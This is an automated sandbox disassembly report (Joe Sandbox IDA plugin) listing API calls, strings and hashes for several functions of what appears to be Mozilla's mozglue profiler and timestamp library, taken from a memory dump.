Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction ID: 393fb66a07737cea417b6c975e6b01fe38d7e650c0b50591e21ee837e370fadf
Opcode Fuzzy Hash: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction Fuzzy Hash: 5A51CCF19092A561FA05B1191E20BEE1C45EF5B24BF106436EE1BA1F80FF06F61949BF

Function 6C5B4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
Part of subcall function 6C5B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5B44D2
InitOnceExecuteOnce.KERNEL32(6C62F80C,6C5AF240,?,?), ref: 6C5B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B455C
LoadLibraryW.KERNEL32(?), ref: 6C5B4592
InitializeCriticalSection.KERNEL32(6C62F770), ref: 6C5B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5B45BB
InitOnceExecuteOnce.KERNEL32(6C62F818,6C5AF240,?,?), ref: 6C5B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B466D
VerSetConditionMask.NTDLL ref: 6C5B469F
VerSetConditionMask.NTDLL ref: 6C5B46AB
VerSetConditionMask.NTDLL ref: 6C5B46B2
VerSetConditionMask.NTDLL ref: 6C5B46B9
VerSetConditionMask.NTDLL ref: 6C5B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5B46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C5B46F7
user32.dll, xrefs: 6C5B4557, 6C5B463F
Gbl, xrefs: 6C5B44FC
kernel32.dll, xrefs: 6C5B44CD
WRusr.dll, xrefs: 6C5B44B5
l, xrefs: 6C5B4578

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gbl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3324001954
Opcode ID: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction ID: cff88caaebaecf6036a6618cd64cac75ac8956e8d5328bba4cbe5482e6b61ac3
Opcode Fuzzy Hash: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction Fuzzy Hash: 0A615BB0604354AFEB209F62CC85B957FB8EF82308F04855CE545AB641D3BD9945CF5A

Function 6C5EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5EF8F9

Part of subcall function 6C5B6390: GetCurrentThreadId.KERNEL32 ref: 6C5B63D0
Part of subcall function 6C5B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5B63DF
Part of subcall function 6C5B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B640E

ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF93A
GetCurrentThreadId.KERNEL32 ref: 6C5EF98A
GetCurrentThreadId.KERNEL32 ref: 6C5EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF716

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5AB5E0

GetCurrentThreadId.KERNEL32 ref: 6C5EF739
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF746
GetCurrentThreadId.KERNEL32 ref: 6C5EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C62385B,00000002,?,?,?,?,?), ref: 6C5EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5EF866
free.MOZGLUE(?), ref: 6C5EFA0C

Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C
Part of subcall function 6C5B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
Part of subcall function 6C5B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F53
Part of subcall function 6C5B5E60: GetCurrentThread.KERNEL32 ref: 6C5B5F5C
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F66
Part of subcall function 6C5B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E

free.MOZGLUE(?), ref: 6C5EF9C5
free.MOZGLUE(?), ref: 6C5EF9DA

Strings

Thread , xrefs: 6C5EF789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C5EF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5EF9A6
" attempted to re-register as ", xrefs: 6C5EF858

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction ID: 488dc76d27e11a44d6bbb42f8ababecb44f75b6518541091df13282c4ebfe0a9
Opcode Fuzzy Hash: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction Fuzzy Hash: 22811371A04200DFDB00DF65DC80AAEB7B5EFC9308F40456DE8869BB51EB34AC49CB92

Function 6C5EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEE60
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EEEA5
CloseHandle.KERNEL32(?), ref: 6C5EEEB4
free.MOZGLUE(00000000), ref: 6C5EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEECF

Part of subcall function 6C5EDE60: GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
Part of subcall function 6C5EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B
Part of subcall function 6C5EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
Part of subcall function 6C5EDE60: free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
Part of subcall function 6C5EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5EEF1E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF59
GetCurrentThreadId.KERNEL32 ref: 6C5EEFB0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF000

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF02F

Part of subcall function 6C5EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C5EF008
[I %d/%d] profiler_stop, xrefs: 6C5EEED7

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction ID: 172177a8a43190cfbaa3514cbc59d34977cd7b9451b6a9ebd098c94da342b9c6
Opcode Fuzzy Hash: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction Fuzzy Hash: 1D51FA71600220DFDB009F66DC88B9577B8EF8A358F100A25ED2683B41DBBD5805CBAF

Function 6C5B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5B6017

Part of subcall function 6C5A4310: moz_xmalloc.MOZGLUE(00000010,?,6C5A42D2), ref: 6C5A436A
Part of subcall function 6C5A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A42D2), ref: 6C5A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
GetCurrentProcess.KERNEL32 ref: 6C5B5F53
GetCurrentThread.KERNEL32 ref: 6C5B5F5C
GetCurrentProcess.KERNEL32 ref: 6C5B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B60CC

Strings

GeckoMain, xrefs: 6C5B5ECE, 6C5B6015

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction ID: 9686039008196e16fdede45e9eb6a355864f811db17045e49d1cdd61a471e426
Opcode Fuzzy Hash: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction Fuzzy Hash: A871CFB0A04740DFD704DF29C890A6ABBF0FF8A304F54496DE58697B42DB75E848CB96

Function 6C5B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5A3217
Part of subcall function 6C5A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5A3236
Part of subcall function 6C5A31C0: FreeLibrary.KERNEL32 ref: 6C5A324B
Part of subcall function 6C5A31C0: __Init_thread_footer.LIBCMT ref: 6C5A3260
Part of subcall function 6C5A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5A327F
Part of subcall function 6C5A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A328E
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32AB
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32D1
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A32E5
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
MapViewOfFileNuma2, xrefs: 6C5B97B1
NtMapViewOfSection, xrefs: 6C5B9701
ntdll.dll, xrefs: 6C5B96E3

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction ID: d55b47565fee14a58791fc922627726d36049c56a61cbc801af5ab2cdb497dc1
Opcode Fuzzy Hash: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction Fuzzy Hash: CE61D371600311DBDF00CF6AECE4B9A7FB1EB8A314F104529E995A7780D738A845CF9A

Function 6C606660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606694
GetThreadId.KERNEL32(?), ref: 6C6066B1
GetCurrentThreadId.KERNEL32 ref: 6C6066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6066E1
EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606734
GetCurrentProcess.KERNEL32 ref: 6C60673A
LeaveCriticalSection.KERNEL32(6C62F618), ref: 6C60676C
GetCurrentThread.KERNEL32 ref: 6C6067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C606868
RtlCaptureContext.NTDLL ref: 6C60687F

Strings

WalkStack64, xrefs: 6C606890

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction ID: 2e30eb97275442ed5e4bae0b4d3720e09072db7c547d5cf06e448291e5cb3795
Opcode Fuzzy Hash: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction Fuzzy Hash: 4251DD71A09300AFD715CF25C984B9ABBF4FF89714F00492DF999A7640D774E848CB9A

Function 6C5EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
GetCurrentThreadId.KERNEL32 ref: 6C5EDF7D
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDF8A
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5EE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C5EDE83
<none>, xrefs: 6C5EDFD7

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction ID: 3e2b67d5da2fc55c59b8306ab98f0e3f3a857da6d6d28b4699875a0216e51dc2
Opcode Fuzzy Hash: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction Fuzzy Hash: B841E571B012209BDB109F66CC88BAA7775EFC9318F140015E91597B02CB79AC05CBEA

Function 6C5FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD4FC
